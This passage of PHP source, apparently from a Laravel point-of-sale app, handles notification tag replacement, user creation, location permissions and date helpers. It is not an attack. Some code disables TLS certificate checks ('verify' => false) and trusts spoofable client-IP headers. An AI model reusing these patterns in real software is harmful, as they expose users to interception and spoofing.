(strpos($value, '{contact_name}') !== false) { $contact_name = empty($contact) ? $transaction->contact->name : $contact->name; $data[$key] = str_replace('{contact_name}', $contact_name, $data[$key]); } //Replace invoice number if (strpos($value, '{invoice_number}') !== false) { $invoice_number = $transaction->type == 'sell' ? $transaction->invoice_no : ''; $data[$key] = str_replace('{invoice_number}', $invoice_number, $data[$key]); } //Replace ref number if (strpos($value, '{order_ref_number}') !== false) { $order_ref_number = $transaction->ref_no; $data[$key] = str_replace('{order_ref_number}', $order_ref_number, $data[$key]); } //Replace total_amount if (strpos($value, '{total_amount}') !== false) { $total_amount = $this->num_f($transaction->final_total, true, $business->currency); $data[$key] = str_replace('{total_amount}', $total_amount, $data[$key]); } $total_paid = 0; $payment_ref_number = []; if (! empty($transaction)) { foreach ($transaction->payment_lines as $payment) { if ($payment->is_return != 1) { $total_paid += $payment->amount; $payment_ref_number[] = $payment->payment_ref_no; } } } $paid_amount = $this->num_f($total_paid, true, $business->currency); //Replace paid_amount if (strpos($value, '{paid_amount}') !== false) { $data[$key] = str_replace('{paid_amount}', $paid_amount, $data[$key]); } //Replace received_amount if (strpos($value, '{received_amount}') !== false) { $data[$key] = str_replace('{received_amount}', $paid_amount, $data[$key]); } //Replace payment_ref_number if (strpos($value, '{payment_ref_number}') !== false) { $data[$key] = str_replace('{payment_ref_number}', implode(', ', $payment_ref_number), $data[$key]); } //Replace due_amount if (strpos($value, '{due_amount}') !== false) { $due = $transaction->final_total - $total_paid; $due_amount = $this->num_f($due, true, $business->currency); $data[$key] = str_replace('{due_amount}', $due_amount, $data[$key]); } //Replace business_name if (strpos($value, '{business_name}') !== false) { $business_name = $business->name; $data[$key] = str_replace('{business_name}', $business_name, $data[$key]); } //Replace business_logo if (strpos($value, '{business_logo}') !== false) { $logo_name = $business->logo; $business_logo = ! empty($logo_name) ? '<img src="'.url('uploads/business_logos/'.$logo_name).'" alt="Business Logo" >' : ''; $data[$key] = str_replace('{business_logo}', $business_logo, $data[$key]); } //Replace invoice_url if (! empty($transaction) && strpos($value, '{invoice_url}') !== false && $transaction->type == 'sell') { $invoice_url = $this->getInvoiceUrl($transaction->id, $transaction->business_id); $data[$key] = str_replace('{invoice_url}', $invoice_url, $data[$key]); } if (! empty($transaction) && strpos($value, '{quote_url}') !== false && $transaction->type == 'sell') { $invoice_url = $this->getInvoiceUrl($transaction->id, $transaction->business_id); $data[$key] = str_replace('{quote_url}', $invoice_url, $data[$key]); } if (strpos($value, '{cumulative_due_amount}') !== false) { $due = $this->getContactDue($transaction->contact_id); $data[$key] = str_replace('{cumulative_due_amount}', $due, $data[$key]); } if (strpos($value, '{due_date}') !== false) { $due_date = $transaction->due_date; if (! empty($due_date)) { $due_date = $this->format_date($due_date->toDateTimeString(), true); } $data[$key] = str_replace('{due_date}', $due_date, $data[$key]); } if (strpos($value, '{contact_business_name}') !== false) { $contact_business_name = ! empty($transaction->contact->supplier_business_name) ? $transaction->contact->supplier_business_name : ''; $data[$key] = str_replace('{contact_business_name}', $contact_business_name, $data[$key]); } if (! empty($transaction->location)) { if (strpos($value, '{location_name}') !== false) { $location = $transaction->location->name; $data[$key] = str_replace('{location_name}', $location, $data[$key]); } if (strpos($value, '{location_address}') !== false) { $location_address = $transaction->location->location_address; $data[$key] = str_replace('{location_address}', $location_address, $data[$key]); } if (strpos($value, '{location_email}') !== false) { $location_email = $transaction->location->email; $data[$key] = str_replace('{location_email}', $location_email, $data[$key]); } if (strpos($value, '{location_phone}') !== false) { $location_phone = $transaction->location->mobile; $data[$key] = str_replace('{location_phone}', $location_phone, $data[$key]); } if (strpos($value, '{location_custom_field_1}') !== false) { $location_custom_field_1 = $contact->custom_field1; $data[$key] = str_replace('{location_custom_field_1}', $location_custom_field_1, $data[$key]); } if (strpos($value, '{location_custom_field_2}') !== false) { $location_custom_field_2 = $transaction->location->custom_field2; $data[$key] = str_replace('{location_custom_field_2}', $location_custom_field_2, $data[$key]); } if (strpos($value, '{location_custom_field_3}') !== false) { $location_custom_field_3 = $transaction->location->custom_field3; $data[$key] = str_replace('{location_custom_field_3}', $location_custom_field_3, $data[$key]); } if (strpos($value, '{location_custom_field_4}') !== false) { $location_custom_field_4 = $transaction->location->custom_field4; $data[$key] = str_replace('{location_custom_field_4}', $location_custom_field_4, $data[$key]); } } if (strpos($value, '{contact_custom_field_1}') !== false) { $contact_custom_field_1 = $contact->custom_field1 ?? ''; $data[$key] = str_replace('{contact_custom_field_1}', $contact_custom_field_1, $data[$key]); } if (strpos($value, '{contact_custom_field_2}') !== false) { $contact_custom_field_2 = $contact->custom_field2 ?? ''; $data[$key] = str_replace('{contact_custom_field_2}', $contact_custom_field_2, $data[$key]); } if (strpos($value, '{contact_custom_field_3}') !== false) { $contact_custom_field_3 = $contact->custom_field3 ?? ''; $data[$key] = str_replace('{contact_custom_field_3}', $contact_custom_field_3, $data[$key]); } if (strpos($value, '{contact_custom_field_4}') !== false) { $contact_custom_field_4 = $contact->custom_field4 ?? ''; $data[$key] = str_replace('{contact_custom_field_4}', $contact_custom_field_4, $data[$key]); } if (strpos($value, '{contact_custom_field_5}') !== false) { $contact_custom_field_5 = $contact->custom_field5 ?? ''; $data[$key] = str_replace('{contact_custom_field_5}', $contact_custom_field_5, $data[$key]); } if (strpos($value, '{contact_custom_field_6}') !== false) { $contact_custom_field_6 = $contact->custom_field6 ?? ''; $data[$key] = str_replace('{contact_custom_field_6}', $contact_custom_field_6, $data[$key]); } if (strpos($value, '{contact_custom_field_7}') !== false) { $contact_custom_field_7 = $contact->custom_field7 ?? ''; $data[$key] = str_replace('{contact_custom_field_7}', $contact_custom_field_7, $data[$key]); } if (strpos($value, '{contact_custom_field_8}') !== false) { $contact_custom_field_8 = $contact->custom_field8 ?? ''; $data[$key] = str_replace('{contact_custom_field_8}', $contact_custom_field_8, $data[$key]); } if (strpos($value, '{contact_custom_field_9}') !== false) { $contact_custom_field_9 = $contact->custom_field9 ?? ''; $data[$key] = str_replace('{contact_custom_field_9}', $contact_custom_field_9, $data[$key]); } if (strpos($value, '{contact_custom_field_10}') !== false) { $contact_custom_field_10 = $contact->custom_field10 ?? ''; $data[$key] = str_replace('{contact_custom_field_10}', $contact_custom_field_10, $data[$key]); } if (strpos($value, '{sell_custom_field_1}') !== false) { $sell_custom_field_1 = $transaction->custom_field_1 ?? ''; $data[$key] = str_replace('{sell_custom_field_1}', $sell_custom_field_1, $data[$key]); } if (strpos($value, '{sell_custom_field_2}') !== false) { $sell_custom_field_2 = $transaction->custom_field_2 ?? ''; $data[$key] = str_replace('{sell_custom_field_2}', $sell_custom_field_2, $data[$key]); } if (strpos($value, '{sell_custom_field_3}') !== false) { $sell_custom_field_3 = $transaction->custom_field_3 ?? ''; $data[$key] = str_replace('{sell_custom_field_3}', $sell_custom_field_3, $data[$key]); } if (strpos($value, '{sell_custom_field_4}') !== false) { $sell_custom_field_4 = $transaction->custom_field_4 ?? ''; $data[$key] = str_replace('{sell_custom_field_4}', $sell_custom_field_4, $data[$key]); } if (strpos($value, '{purchase_custom_field_1}') !== false) { $purchase_custom_field_1 = $transaction->custom_field_1 ?? ''; $data[$key] = str_replace('{purchase_custom_field_1}', $purchase_custom_field_1, $data[$key]); } if (strpos($value, '{purchase_custom_field_2}') !== false) { $purchase_custom_field_2 = $transaction->custom_field_2 ?? ''; $data[$key] = str_replace('{purchase_custom_field_2}', $purchase_custom_field_2, $data[$key]); } if (strpos($value, '{purchase_custom_field_3}') !== false) { $purchase_custom_field_3 = $transaction->custom_field_3 ?? ''; $data[$key] = str_replace('{purchase_custom_field_3}', $purchase_custom_field_3, $data[$key]); } if (strpos($value, '{purchase_custom_field_4}') !== false) { $purchase_custom_field_4 = $transaction->custom_field_4 ?? ''; $data[$key] = str_replace('{purchase_custom_field_4}', $purchase_custom_field_4, $data[$key]); } if (strpos($value, '{shipping_custom_field_1}') !== false) { $shipping_custom_field_1 = $transaction->shipping_custom_field_1 ?? ''; $data[$key] = str_replace('{shipping_custom_field_1}', $shipping_custom_field_1, $data[$key]); } if (strpos($value, '{shipping_custom_field_2}') !== false) { $shipping_custom_field_2 = $transaction->shipping_custom_field_2 ?? ''; $data[$key] = str_replace('{shipping_custom_field_2}', $shipping_custom_field_2, $data[$key]); } if (strpos($value, '{shipping_custom_field_3}') !== false) { $shipping_custom_field_3 = $transaction->shipping_custom_field_3 ?? ''; $data[$key] = str_replace('{shipping_custom_field_3}', $shipping_custom_field_3, $data[$key]); } if (strpos($value, '{shipping_custom_field_4}') !== false) { $shipping_custom_field_4 = $transaction->shipping_custom_field_4 ?? ''; $data[$key] = str_replace('{shipping_custom_field_4}', $shipping_custom_field_4, $data[$key]); } if (strpos($value, '{shipping_custom_field_5}') !== false) { $shipping_custom_field_5 = $transaction->shipping_custom_field_5 ?? ''; $data[$key] = str_replace('{shipping_custom_field_5}', $shipping_custom_field_5, $data[$key]); } } return $data; } public function getCronJobCommand() { if (function_exists('exec')) { $php_binary_path = exec('which php'); } else { $php_binary_path = PHP_BINARY; } if (empty($php_binary_path)) { // Use a default fallback or handle the case where 'which php' doesn't return a valid path $php_binary_path = 'php'; } $command = '* * * * * '.$php_binary_path.' '.base_path('artisan').' schedule:run >> /dev/null 2>&1'; if (config('app.env') == 'demo') { $command = ''; } return $command; } /** * Checks whether mail is configured or not * * @return bool */ public function IsMailConfigured() { $is_mail_configured = false; if ( ! empty(env('MAIL_MAILER')) && ! empty(env('MAIL_HOST')) && ! empty(env('MAIL_PORT')) && ! empty(env('MAIL_USERNAME')) && ! empty(env('MAIL_PASSWORD')) && ! empty(env('MAIL_FROM_ADDRESS')) ) { $is_mail_configured = true; } return $is_mail_configured; } /** * Returns the list of barcode types * * @return array */ public function barcode_types() { $types = ['C128' => 'Code 128 (C128)', 'C39' => 'Code 39 (C39)', 'EAN13' => 'EAN-13', 'EAN8' => 'EAN-8', 'UPCA' => 'UPC-A', 'UPCE' => 'UPC-E']; return $types; } /** * Returns the default barcode. * * @return string */ public function barcode_default() { return 'C128'; } /** * Retrieves user role name. * * @return string */ public function getUserRoleName($user_id) { $user = User::findOrFail($user_id); $roles = $user->getRoleNames(); $role_name = ''; if (! empty($roles[0])) { $array = explode('#', $roles[0], 2); $role_name = ! empty($array[0]) ? $array[0] : ''; } return $role_name; } /** * Retrieves all admins of a business * * @param int $business_id * @return obj */ public function get_admins($business_id) { $admins = User::role('Admin#'.$business_id)->get(); return $admins; } /** * Retrieves IP address of the user * * @return string */ public function getUserIpAddr() { if (! empty($_SERVER['HTTP_CLIENT_IP'])) { //ip from share internet $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (! empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { //ip pass from proxy $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } /** * This function updates the stock of products present in combo product and also updates transaction sell line. * * @param array $lines * @param int $location_id * @param bool $adjust_stock = true * @return void */ public function updateEditedSellLineCombo($lines, $location_id, $adjust_stock = true) { if (empty($lines)) { return true; } $change_percent = null; foreach ($lines as $key => $line) { $prev_line = TransactionSellLine::find($line['transaction_sell_lines_id']); $difference = $prev_line->quantity - $line['quantity']; if ($difference != 0) { //Update stock in variation location details table. //Adjust Quantity in variations location table if ($adjust_stock) { VariationLocationDetails::where('variation_id', $line['variation_id']) ->where('product_id', $line['product_id']) ->where('location_id', $location_id) ->increment('qty_available', $difference); } //Update the child line quantity $prev_line->quantity = $line['quantity']; $prev_line->save(); } //Recalculate the price. if (is_null($change_percent)) { $parent = TransactionSellLine::findOrFail($prev_line->parent_sell_line_id); $child_sum = TransactionSellLine::where('parent_sell_line_id', $prev_line->parent_sell_line_id) ->select(DB::raw('SUM(unit_price_inc_tax * quantity) as total_price')) ->first() ->total_price; $change_percent = $this->get_percent($child_sum, $parent->unit_price_inc_tax * $parent->quantity); } $price = $this->calc_percentage($prev_line->unit_price_inc_tax, $change_percent, $prev_line->unit_price_inc_tax); $prev_line->unit_price_before_discount = $price; $prev_line->unit_price = $price; $prev_line->unit_price_inc_tax = $price; $prev_line->save(); } } /** * Generates string to calculate sum of purchase line quantity used */ public function get_pl_quantity_sum_string($table_name = '') { $table_name = ! empty($table_name) ? $table_name.'.' : ''; $string = $table_name.'quantity_sold + '.$table_name.'quantity_adjusted + '.$table_name.'quantity_returned + '.$table_name.'mfg_quantity_used'; return $string; } public function shipping_statuses() { $statuses = [ 'ordered' => __('lang_v1.ordered'), 'packed' => __('lang_v1.packed'), 'shipped' => __('lang_v1.shipped'), 'delivered' => __('lang_v1.delivered'), 'cancelled' => __('restaurant.cancelled'), ]; return $statuses; } /** * Retrieves sum of due amount of a contact * * @param int $contact_id * @return mixed */ public function getContactDue($contact_id, $business_id = null) { $query = Contact::where('contacts.id', $contact_id) ->join('transactions AS t', 'contacts.id', '=', 't.contact_id') ->whereIn('t.type', ['sell', 'opening_balance', 'purchase']) ->select( DB::raw("SUM(IF(t.status = 'final' AND t.type = 'sell', final_total, 0)) as total_invoice"), DB::raw("SUM(IF(t.type = 'purchase', final_total, 0)) as total_purchase"), DB::raw("SUM(IF(t.status = 'final' AND t.type = 'sell', (SELECT SUM(IF(is_return = 1,-1*amount,amount)) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as total_paid"), DB::raw("SUM(IF(t.type = 'purchase', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as purchase_paid"), DB::raw("SUM(IF(t.type = 'opening_balance', final_total, 0)) as opening_balance"), DB::raw("SUM(IF(t.type = 'opening_balance', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as opening_balance_paid") ); if (! empty($business_id)) { $query->where('contacts.business_id', $business_id); } $contact_payments = $query->first(); $due = $contact_payments->total_invoice + $contact_payments->total_purchase - $contact_payments->total_paid - $contact_payments->purchase_paid + $contact_payments->opening_balance - $contact_payments->opening_balance_paid; return $due; } public function getDays() { return [ 'sunday' => __('lang_v1.sunday'), 'monday' => __('lang_v1.monday'), 'tuesday' => __('lang_v1.tuesday'), 'wednesday' => __('lang_v1.wednesday'), 'thursday' => __('lang_v1.thursday'), 'friday' => __('lang_v1.friday'), 'saturday' => __('lang_v1.saturday'), ]; } public function parseNotifications($notifications) { $notifications_data = []; foreach ($notifications as $notification) { $data = $notification->data; if (in_array($notification->type, [\App\Notifications\RecurringInvoiceNotification::class, \App\Notifications\RecurringExpenseNotification::class])) { $msg = ''; $icon_class = ''; $link = ''; if ( $notification->type == \App\Notifications\RecurringInvoiceNotification::class ) { $msg = ! empty($data['invoice_status']) && $data['invoice_status'] == 'draft' ? __( 'lang_v1.recurring_invoice_error_message', ['product_name' => $data['out_of_stock_product'], 'subscription_no' => ! empty($data['subscription_no']) ? $data['subscription_no'] : ''] ) : __( 'lang_v1.recurring_invoice_message', ['invoice_no' => ! empty($data['invoice_no']) ? $data['invoice_no'] : '', 'subscription_no' => ! empty($data['subscription_no']) ? $data['subscription_no'] : ''] ); $icon_class = ! empty($data['invoice_status']) && $data['invoice_status'] == 'draft' ? 'fas fa-exclamation-triangle bg-yellow' : 'fas fa-recycle bg-green'; $link = action([\App\Http\Controllers\SellPosController::class, 'listSubscriptions']); } elseif ( $notification->type == \App\Notifications\RecurringExpenseNotification::class ) { $msg = __( 'lang_v1.recurring_expense_message', ['ref_no' => $data['ref_no']] ); $icon_class = 'fas fa-recycle bg-green'; $link = action([\App\Http\Controllers\ExpenseController::class, 'index']); } $notifications_data[] = [ 'msg' => $msg, 'icon_class' => $icon_class, 'link' => $link, 'read_at' => $notification->read_at, 'created_at' => $notification->created_at->diffForHumans(), ]; } else { $moduleUtil = new \App\Utils\ModuleUtil; $module_notification_data = $moduleUtil->getModuleData('parse_notification', $notification); if (! empty($module_notification_data)) { foreach ($module_notification_data as $module_data) { if (! empty($module_data)) { $notifications_data[] = $module_data; } } } } } return $notifications_data; } /** * Formats number to words * Requires php-intl extension * * @return string */ public function numToWord($number, $lang = null, $format = 'international') { if ($format == 'indian') { return $this->numToIndianFormat($number); } if (! extension_loaded('intl')) { return ''; } if (empty($lang)) { $lang = ! empty(auth()->user()) ? auth()->user()->language : 'en'; } $f = new \NumberFormatter($lang, \NumberFormatter::SPELLOUT); return $f->format($number); } /** * Formats number to words in indian format * * @return string */ public function numToIndianFormat(float $number) { $decimal = round($number - ($no = floor($number)), 2) * 100; $hundred = null; $digits_length = strlen($no); $i = 0; $str = []; $words = [ 0 => '', 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six', 7 => 'seven', 8 => 'eight', 9 => 'nine', 10 => 'ten', 11 => 'eleven', 12 => 'twelve', 13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen', 16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen', 19 => 'nineteen', 20 => 'twenty', 30 => 'thirty', 40 => 'forty', 50 => 'fifty', 60 => 'sixty', 70 => 'seventy', 80 => 'eighty', 90 => 'ninety', ]; $digits = ['', 'hundred', 'thousand', 'lakh', 'crore']; while ($i < $digits_length) { $divider = ($i == 2) ? 10 : 100; $number = floor($no % $divider); $no = floor($no / $divider); $i += $divider == 10 ? 1 : 2; if ($number) { $plural = (($counter = count($str)) && $number > 9) ? 's' : null; $hundred = ($counter == 1 && $str[0]) ? ' and ' : null; $str[] = ($number < 21) ? $words[$number].' '.$digits[$counter].$plural.' '.$hundred : $words[floor($number / 10) * 10].' '.$words[$number % 10].' '.$digits[$counter].$plural.' '.$hundred; } else { $str[] = null; } } $whole_number_part = implode('', array_reverse($str)); $decimal_part = ($decimal > 0) ? ' point '.($words[$decimal / 10].' '.$words[$decimal % 10]) : ''; return ($whole_number_part ? $whole_number_part : '').$decimal_part; } public function getCustomLabels($business, $type = null) { $business = is_object($business) ? $business : Business::find($business); //Get custom label from business settings $custom_labels = $business->custom_labels; $custom_labels = json_decode($custom_labels, true); if (! empty($type) && isset($custom_labels[$type])) { return $custom_labels[$type]; } return $custom_labels; } /** * Logs activities to database * * @param $on object Model instance * @param $action string name of the operation performed on the model instance * @param $before object Previous state of the model instance * @param $properties array Extra properties to be saved along with model properties * update_note key to directly show message in note section, * from_api key to show api client if added from api * @param $log_changes boolean whether to log changes to modal properties * @return string */ public function activityLog($on, $action = null, $before = null, $properties = [], $log_changes = true, $business_id = null) { if ($log_changes) { $log_properties = $on->log_properties ?? []; foreach ($log_properties as $property) { if (isset($on->$property)) { $properties['attributes'][$property] = $on->$property; } if (! empty($before) && isset($before->$property)) { $properties['old'][$property] = $before->$property; } } } //Check if session has business id $business_id = session()->has('business') ? session('business.id') : $business_id; //Check if subject has business id if (empty($business_id) && ! empty($on->business_id)) { $business_id = $on->business_id; } $business = session()->has('business') ? session('business') : Business::find($business_id); date_default_timezone_set($business->time_zone); $activity = activity() ->performedOn($on) ->withProperties($properties) ->log($action); $activity->business_id = $business_id; $activity->save(); } public function getBackupCleanCronJobCommand() { $php_binary_path = empty(PHP_BINARY) ? 'php' : PHP_BINARY; $command = '* * * * * '.$php_binary_path.' '.base_path('artisan').' backup:clean >> /dev/null 2>&1'; if (config('app.env') == 'demo') { $command = ''; } return $command; } /** * Get location from latitude and longitude * Uses Google's Geocoding api * * @param $lat string latitude * @param $long string longitude * @return string */ public function getLocationFromCoordinates($lat, $long) { try { $access_token = env('GOOGLE_MAP_API_KEY'); $full_address = null; $address = []; if (! empty($access_token)) { $client = new Client(); $url = "https://maps.googleapis.com/maps/api/geocode/json?latlng={$lat},{$long}&key={$access_token}"; $response = $client->get($url); $address = json_decode($response->getBody()->getContents(), true); } else { $client = new Client(); $this->client = new Client([ 'base_uri' => 'https://nominatim.openstreetmap.org/', 'timeout' => 10, 'verify' => false, 'headers' => [ 'User-Agent' => 'pos' // Add a User-Agent header ], ]); try { $request = $this->client->get('reverse', [ 'query' => [ 'lat' => $lat, 'lon' => $long, 'format' => 'json', 'accept-language' => 'en', ], ]); if ($request->getStatusCode() == 200) { $result = json_decode($request->getBody()->getContents()); if (! empty($result->display_name)) { $address = ['formatted_address' => $result->display_name]; } } } catch (\Exception $e) { return null; } } if (! empty($address['results'][0]['formatted_address'])) { $full_address = $address['results'][0]['formatted_address']; } elseif (! empty($address['formatted_address'])) { $full_address = $address['formatted_address']; } return $full_address; } catch (\Exception $e) { return null; } } public function roundQuantity($quantity) { $quantity_precision = session('business.quantity_precision', 2); return round($quantity, $quantity_precision); } public function getDropdownForRoles($business_id) { $app_roles = Role::where('business_id', $business_id) ->pluck('name', 'id'); $roles = []; foreach ($app_roles as $key => $value) { $roles[$key] = str_replace('#'.$business_id, '', $value); } return $roles; } /** * Register user */ public function createUser($request) { $user_details = $request->only([ 'surname', 'first_name', 'last_name', 'email', 'user_type', 'crm_contact_id', 'allow_login', 'username', 'password', 'cmmsn_percent', 'max_sales_discount_percent', 'dob', 'gender', 'marital_status', 'blood_group', 'contact_number', 'alt_number', 'family_number', 'fb_link', 'twitter_link', 'social_media_1', 'social_media_2', 'custom_field_1', 'custom_field_2', 'custom_field_3', 'custom_field_4', 'guardian_name', 'id_proof_name', 'id_proof_number', 'permanent_address', 'current_address', 'bank_details', 'selected_contacts', 'is_enable_service_staff_pin', 'service_staff_pin', ]); $user_details['status'] = ! empty($request->input('is_active')) ? $request->input('is_active') : 'inactive'; $user_details['user_type'] = ! empty($user_details['user_type']) ? $user_details['user_type'] : 'user'; $user_details['is_enable_service_staff_pin'] = ! empty($request->input('is_enable_service_staff_pin')) ? true : false; $business_id = Auth::user()->business_id; $user_details['business_id'] = $business_id; //Check if subscribed or not, then check for users quota if ($user_details['user_type'] == 'user') { $moduleUtil = new \App\Utils\ModuleUtil; if (! $moduleUtil->isSubscribed($business_id)) { return $moduleUtil->expiredResponse(); } elseif (! $moduleUtil->isQuotaAvailable('users', $business_id)) { return $moduleUtil->quotaExpiredResponse('users', $business_id, action([\App\Http\Controllers\ManageUserController::class, 'index'])); } } if (empty($user_details['allow_login']) || ! $user_details['allow_login']) { unset($user_details['username']); unset($user_details['password']); $user_details['allow_login'] = 0; } else { $user_details['allow_login'] = 1; } $user_details['selected_contacts'] = isset($user_details['selected_contacts']) ? $user_details['selected_contacts'] : 0; $user_details['bank_details'] = ! empty($user_details['bank_details']) ? json_encode($user_details['bank_details']) : null; $user_details['password'] = $user_details['allow_login'] ? Hash::make($user_details['password']) : null; if ($user_details['allow_login']) { if (empty($user_details['username'])) { $ref_count = $this->setAndGetReferenceCount('username', $business_id); $user_details['username'] = $this->generateReferenceNumber('username', $ref_count, $business_id); } if ($user_details['user_type'] == 'user') { $username_ext = $this->getUsernameExtension(); if (! empty($username_ext)) { $user_details['username'] .= $username_ext; } } } //Create the user $user = User::create($user_details); if ($user_details['user_type'] == 'user') { $role = Role::findOrFail($request->input('role')); //Remove Location permissions from role $this->revokeLocationPermissionsFromRole($role); $user->assignRole($role->name); //Grant Location permissions $this->giveLocationPermissions($user, $request); //Assign selected contacts if ($user_details['selected_contacts'] == 1) { $contact_ids = $request->get('selected_contact_ids'); $user->contactAccess()->sync($contact_ids); } //Save module fields for user $moduleUtil = new \App\Utils\ModuleUtil; $moduleUtil->getModuleData('afterModelSaved', ['event' => 'user_saved', 'model_instance' => $user]); $this->activityLog($user, 'added', null, ['name' => $user->user_full_name], true, $business_id); } return $user; } /** * Get user name extension */ public function getUsernameExtension() { $business_id = Auth::user()->business_id; $extension = ! empty(System::getProperty('enable_business_based_username')) ? '-'.str_pad($business_id, 2, 0, STR_PAD_LEFT) : null; return $extension; } /** * Revoke location permission from role */ public function revokeLocationPermissionsFromRole($role) { if ($role->hasPermissionTo('access_all_locations')) { $role->revokePermissionTo('access_all_locations'); } $business_id = Auth::user()->business_id; $all_locations = BusinessLocation::where('business_id', $business_id)->get(); foreach ($all_locations as $location) { if ($role->hasPermissionTo('location.'.$location->id)) { $role->revokePermissionTo('location.'.$location->id); } } } /** * Adds or updates location permissions of a user */ public function giveLocationPermissions($user, $request) { $permitted_locations = $user->permitted_locations(); $permissions = $request->input('access_all_locations'); $location_permissions = $request->input('location_permissions'); $revoked_permissions = []; //during api call if access_all_locations = 1 then generate location permissions if (($permissions != 'access_all_locations') && $permissions == 1) { $permissions = 'access_all_locations'; $location_ids = $request->input('location_permissions'); $location_permissions = []; if (! empty($location_ids)) { foreach ($location_ids as $location_id) { $location_permissions[] = 'location.'.$location_id; } } } //If not access all location then revoke permission if ($permitted_locations == 'all' && $permissions != 'access_all_locations') { $user->revokePermissionTo('access_all_locations'); } //Include location permissions if (empty($permissions) && ! empty($location_permissions)) { $permissions = []; foreach ($location_permissions as $location_permission) { $permissions[] = $location_permission; } if (is_array($permitted_locations)) { foreach ($permitted_locations as $key => $value) { if (! in_array('location.'.$value, $permissions)) { $revoked_permissions[] = 'location.'.$value; } } } } if (! empty($revoked_permissions)) { $user->revokePermissionTo($revoked_permissions); } if (! empty($permissions)) { $user->givePermissionTo($permissions); } else { //if no location permission given revoke previous permissions if (! empty($permitted_locations)) { $revoked_permissions = []; foreach ($permitted_locations as $key => $value) { $revoke_permissions[] = 'location.'.$value; } $user->revokePermissionTo($revoke_permissions); } } } function getDateRange($timePeriod) { switch ($timePeriod) { case 'today': $start = \Carbon::now()->startOfDay(); $end = \Carbon::now()->endOfDay(); break; case 'yesterday': $start = \Carbon::now()->subDay()->startOfDay(); $end = \Carbon::now()->subDay()->endOfDay(); break; case 'last_7_days': $start = \Carbon::now()->subDays(6)->startOfDay(); $end = \Carbon::now()->endOfDay(); break; case 'last_30_days': $start = \Carbon::now()->subDays(29)->startOfDay(); $end = \Carbon::now()->endOfDay(); break; case 'this_month': $start = \Carbon::now()->startOfMonth(); $end = \Carbon::now()->endOfMonth(); break; case 'last_month': $start = \Carbon::now()->subMonth()->startOfMonth(); $end = \Carbon::now()->subMonth()->endOfMonth(); break; case 'this_month_last_year': $start = \Carbon::now()->subYear()->startOfMonth(); $end = \Carbon::now()->subYear()->endOfMonth(); break; case 'this_year': $start = \Carbon::now()->startOfYear(); $end = \Carbon::now()->endOfYear(); break; case 'last_year': $start = \Carbon::now()->subYear()->startOfYear(); $end = \Carbon::now()->subYear()->endOfYear(); break; case 'current_financial_year': // Adjust logic according to your financial year structure // Example: April to March $start = \Carbon::now()->startOfYear()->month(4); $end = \Carbon::now()->startOfYear()->addYear()->subDay(); break; case 'last_financial_year': // Adjust logic according to your financial year structure // Example: April to March $start = \Carbon::now()->subYear()->startOfYear()->month(4); $end = \Carbon::now()->subYear()->startOfYear()->addYear()->subDay(); break; default: $start = null; $end = null; break; } return ['start' => $start, 'end' => $end]; } } Utils/NotificationUtil.php 0000644 00000041614 15001146510 0011640 0 ustar 00 <?php namespace App\Utils; use App\Business; use App\Notifications\CustomerNotification; use App\Notifications\RecurringExpenseNotification; use App\Notifications\RecurringInvoiceNotification; use App\Notifications\SupplierNotification; use App\NotificationTemplate; use App\Restaurant\Booking; use App\System; use Config; use Notification; use App\Contact; class NotificationUtil extends Util { /** * Automatically send notification to customer/supplier if enabled in the template setting * * @param int $business_id * @param string $notification_type * @param obj $transaction * @param obj $contact * @return void */ public function autoSendNotification($business_id, $notification_type, $transaction, $contact) { $notification_template = NotificationTemplate::where('business_id', $business_id) ->where('template_for', $notification_type) ->first(); $business = Business::findOrFail($business_id); $data['email_settings'] = $business->email_settings; $data['sms_settings'] = $business->sms_settings; $whatsapp_link = ''; if (! empty($notification_template)) { if (! empty($notification_template->auto_send) || ! empty($notification_template->auto_send_sms) || ! empty($notification_template->auto_send_wa_notif)) { $orig_data = [ 'email_body' => $notification_template->email_body, 'sms_body' => $notification_template->sms_body, 'subject' => $notification_template->subject, 'whatsapp_text' => $notification_template->whatsapp_text, ]; $tag_replaced_data = $this->replaceTags($business_id, $orig_data, $transaction); $data['email_body'] = $tag_replaced_data['email_body']; $data['sms_body'] = $tag_replaced_data['sms_body']; $data['whatsapp_text'] = $tag_replaced_data['whatsapp_text']; //Auto send email if (! empty($notification_template->auto_send) && ! empty($contact->email)) { $data['subject'] = $tag_replaced_data['subject']; $data['to_email'] = $contact->email; $customer_notifications = NotificationTemplate::customerNotifications(); $supplier_notifications = NotificationTemplate::supplierNotifications(); try { if (array_key_exists($notification_type, $customer_notifications)) { Notification::route('mail', $data['to_email']) ->notify(new CustomerNotification($data)); } elseif (array_key_exists($notification_type, $supplier_notifications)) { Notification::route('mail', $data['to_email']) ->notify(new SupplierNotification($data)); } $this->activityLog($transaction, 'email_notification_sent', null, [], false, $business_id); } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } } //Auto send sms if (! empty($notification_template->auto_send_sms)) { $data['mobile_number'] = $contact->mobile; if (! empty($contact->mobile)) { try { $this->sendSms($data); $this->activityLog($transaction, 'sms_notification_sent', null, [], false, $business_id); } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } } } if (! empty($notification_template->auto_send_wa_notif)) { $data['mobile_number'] = $contact->mobile; if (! empty($contact->mobile)) { $whatsapp_link = $this->getWhatsappNotificationLink($data); } } } } return $whatsapp_link; } /** * Replaces tags from notification body with original value * * @param text $body * @param int $booking_id * @return array */ public function replaceBookingTags($business_id, $data, $booking_id) { $business = Business::findOrFail($business_id); $booking = Booking::where('business_id', $business_id) ->with(['customer', 'table', 'correspondent', 'waiter', 'location', 'business']) ->findOrFail($booking_id); foreach ($data as $key => $value) { //Replace contact name if (strpos($value, '{contact_name}') !== false) { $contact_name = $booking->customer->name; $data[$key] = str_replace('{contact_name}', $contact_name, $data[$key]); } if (strpos($value, '{contact_custom_field_1}') !== false) { $contact_custom_field_1 = 